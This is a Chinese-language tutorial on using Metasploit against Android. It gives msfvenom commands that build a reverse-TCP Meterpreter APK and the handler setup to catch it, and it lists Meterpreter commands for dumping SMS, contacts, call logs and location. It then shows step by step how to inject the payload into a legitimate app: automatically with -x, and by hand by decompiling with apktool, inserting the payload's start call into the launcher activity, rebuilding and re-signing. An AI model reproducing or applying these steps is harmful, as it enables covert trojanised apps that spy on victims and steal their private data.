msf攻擊android
[1]
1.msf生成android apk文件
msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk
-p android/meterpreter/reverse_top : 表示從android設備返回一個反向連接的meterpreter通道;
R:直接輸出(雖然android程序用java編寫,但是不能使用-f java的形式生成);
.apk:最終輸出為apk后綴的文件;

2.本地監聽
msfconsole
msfdb run
workspace test
use /exploit/multi/handler
options
set payload android/meterpreter/reverse_tcp
set lhost 192.168.110.45
set lport 4455
run

3.手機模擬器安裝apk文件,並啟動
4.android的meterpreter介紹[2]
常用android指令
? 查看android meterpreter指令
check_root 檢查設備是否為root
dump_calllog 獲取通話記錄
dump_contacts 獲取通訊錄
dump_sms 獲取短信
geolocate 獲取定位信息
send_sms 發送短信
wlan_geolocate 通過wlan信息獲取定位信息
app_install 安裝app
app_list 列出當前設備上安裝的app
app_run 通過包名啟動android應用
app_uninstall 卸載app

5.將msf payload注入已有的apk文件中
自動注入
msfvenom -x ./desktop/dark_mode.apk -p android/meterpreter/reverse_tcp lhost=<本機IP> lport=<端口> R -o msftest.apk
-x:將指定目錄下的指定apk文件作為模板文件
-p: 設置payload
-o: 輸出為apk文件
6.手工注入--將msf payload注入apk
apktool反編譯
apktool d -f -r -o /usr/local/testdir/decodef dark_Mode.apk
d:[decode]反編譯
-r: 避免resc的反編譯,這樣進行打包的時候就不會重新編譯resc文件包括xml
-o: 反編譯文件輸出到當前/usr/local/testdir/decodef目錄下
步驟
(1)反編譯要注入的apk文件--com.chenai.eyes_5.5.3_liqucn.com.apk
(2)反編譯msfvenom 生成的已注入payload的apk文件--msfand.apk
(3)將(2)中反編譯出來的AndroidManifest.xml文件中的
(4)拷貝payload:將(2)中反編譯的文件smali/com目錄下的文件拷貝到(1)中對應目錄下
(5)執行payload:在apk程序入口Activity的oncreate()方法,添加以下腳本:
invoke-static{p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
可使用aapt查找apk包主程序入口,也可查看文件AndroidManifest.xml中的以下腳本的包名,其中com.chenai.eyen.act.MainDl即為主程序入口activity
<activity android:configChanges="keyboardHidden|orientation" android:label="@string/ao" android:name="com.chenai.eyen.act.MainDl" android:theme="@style/e2">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
(6)回編:
apktool b ./dark
回編的文件在./dark/dist文件下
(7)生成簽名要用的keystore文件(若安裝了android studio則默認存在/root/android目錄下)
keystore用於保存密鑰對,比如公鑰和私鑰,用來在打包apl的時候對apk程序進行加密,也就是所謂的數字證書加密
keytool -genkey -v -keystore my-realease-key.keystore -alias alias -keyalg RSA -keysize 2048 -validity 10000
-alias :別名,每個keystore都關聯這一個獨一無二的alias,通常不區分大小寫
-keystore: 指定密鑰庫的名稱
-keyalg: 指定密鑰的算法
-validity:指定創建證書的有效期
-keysize:指定生成密鑰的長度
-v:顯示密鑰庫中的證書詳細信息
(8)jarsigner進行簽名
jarsigner -verbose -keystore ./my-realease-key.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA ./dark/dark_Mode.apk alias
進行簽名后的apk文件在dist目錄下,覆蓋掉原來的apk文件,進行簽名是為了保證完整性,在apk文件安裝時,系統會對其簽名信息進行比對,判斷程序的完整性,從而決定該apk文件是否可以安裝,在一定程度上達到安全